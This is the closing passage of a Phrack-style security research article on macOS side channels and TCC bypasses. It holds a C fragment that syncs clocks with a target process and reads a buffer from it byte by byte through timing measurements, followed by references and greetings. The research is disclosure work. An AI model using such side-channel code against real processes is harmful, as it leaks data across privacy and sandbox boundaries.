    size_t counter = 0;

    // Synchronize clock
    if (!sync_clocks(pid, sync_handler))
    {
        goto cleanup;
    }

    // Get the buffer size
    if (!measure_next_byte(pid, &buffer_size))
    {
        goto cleanup;
    }

    // Allocate buffer
    buffer = calloc(buffer_size, sizeof(*buffer));
    if (NULL == buffer)
    {
        goto cleanup;
    }

    // Fill bytes
    for (counter = 0; counter < buffer_size; counter++)
    {
        if (!measure_next_byte(pid, buffer + counter))
        {
            goto cleanup;
        }
    }

    // Invoke handler
    if (!buffer_handler(buffer, buffer_size))
    {
        goto cleanup;
    }

cleanup:

    // Free resources
    SAFE_FREE(buffer);
}

--[ 8 - References

  [1]  macOS TCC writeups
       https://github.com/yo-yo-yo-jbo/macos_tcc/
  [2]  macOS sandbox writeups
       https://github.com/yo-yo-yo-jbo/macos_sandbox/
  [3]  NSLog - Apple Developer Documentation
       https://developer.apple.com/documentation/foundation/nslog
  [4]  Sploitlight: Analyzing a Spotlight-based macOS TCC vulnerability
       https://www.microsoft.com/en-us/security/blog/2025/07/28/
       sploitlight-analyzing-a-spotlight-based-macos-tcc-vulnerability/
  [5]  Objective by the Sea - conference talk
       https://www.youtube.com/watch?v=xLKaxQJcmc4
  [6]  CVE-2025-31199
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-31199
  [7]  CVE-2025-43409
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43409
  [8]  Padding oracle attack
       https://en.wikipedia.org/wiki/Padding_oracle_attack
  [9]  macOS Tahoe
       https://en.wikipedia.org/wiki/MacOS_Tahoe
  [10] Uniform Type Identifier
       https://en.wikipedia.org/wiki/Uniform_Type_Identifier
  [11] memcmp-timing side channel (NETGEAR firmware writeup)
       https://www.microsoft.com/en-us/security/blog/2021/06/30/
       microsoft-finds-new-netgear-firmware-vulnerabilities/
  [12] Spectre
       https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)
  [13] Meltdown
       https://en.wikipedia.org/wiki/Meltdown_(security_vulnerability)
  [14] htop
       https://htop.dev
  [15] Apple Maps URL scheme reference (MapLinks)
       https://developer.apple.com/library/archive/featuredarticles/
       iPhoneURLScheme_Reference/MapLinks/MapLinks.html
  [16] macOS Mach ports writeups
       https://github.com/yo-yo-yo-jbo/macos_mach_ports/
  [17] proc_info.h (darwin-xnu)
       https://github.com/apple/darwin-xnu/blob/main/bsd/sys/proc_info.h
  [18] Apple Maps side-channel PoC
       https://github.com/yo-yo-yo-jbo/maps_side_chan/


--[ 9 - Greetz

Shouts to everyone who reads the fix instead of the advisory, to the
Objective by the Sea crew, to the macOS internals folks who keep the
lights on, and to the cryptographers whose decades of oracle and
side-channel work I keep shoplifting for problems they never signed up
for. Lastly, to Apple for hardening their products year by year - I
have the utmost respect for your work!

|=-----------------------------------------------------------------------=|
|=---------------------=[ EOF ]=-----------------------------------------=|
|=-----------------------------------------------------------------------=|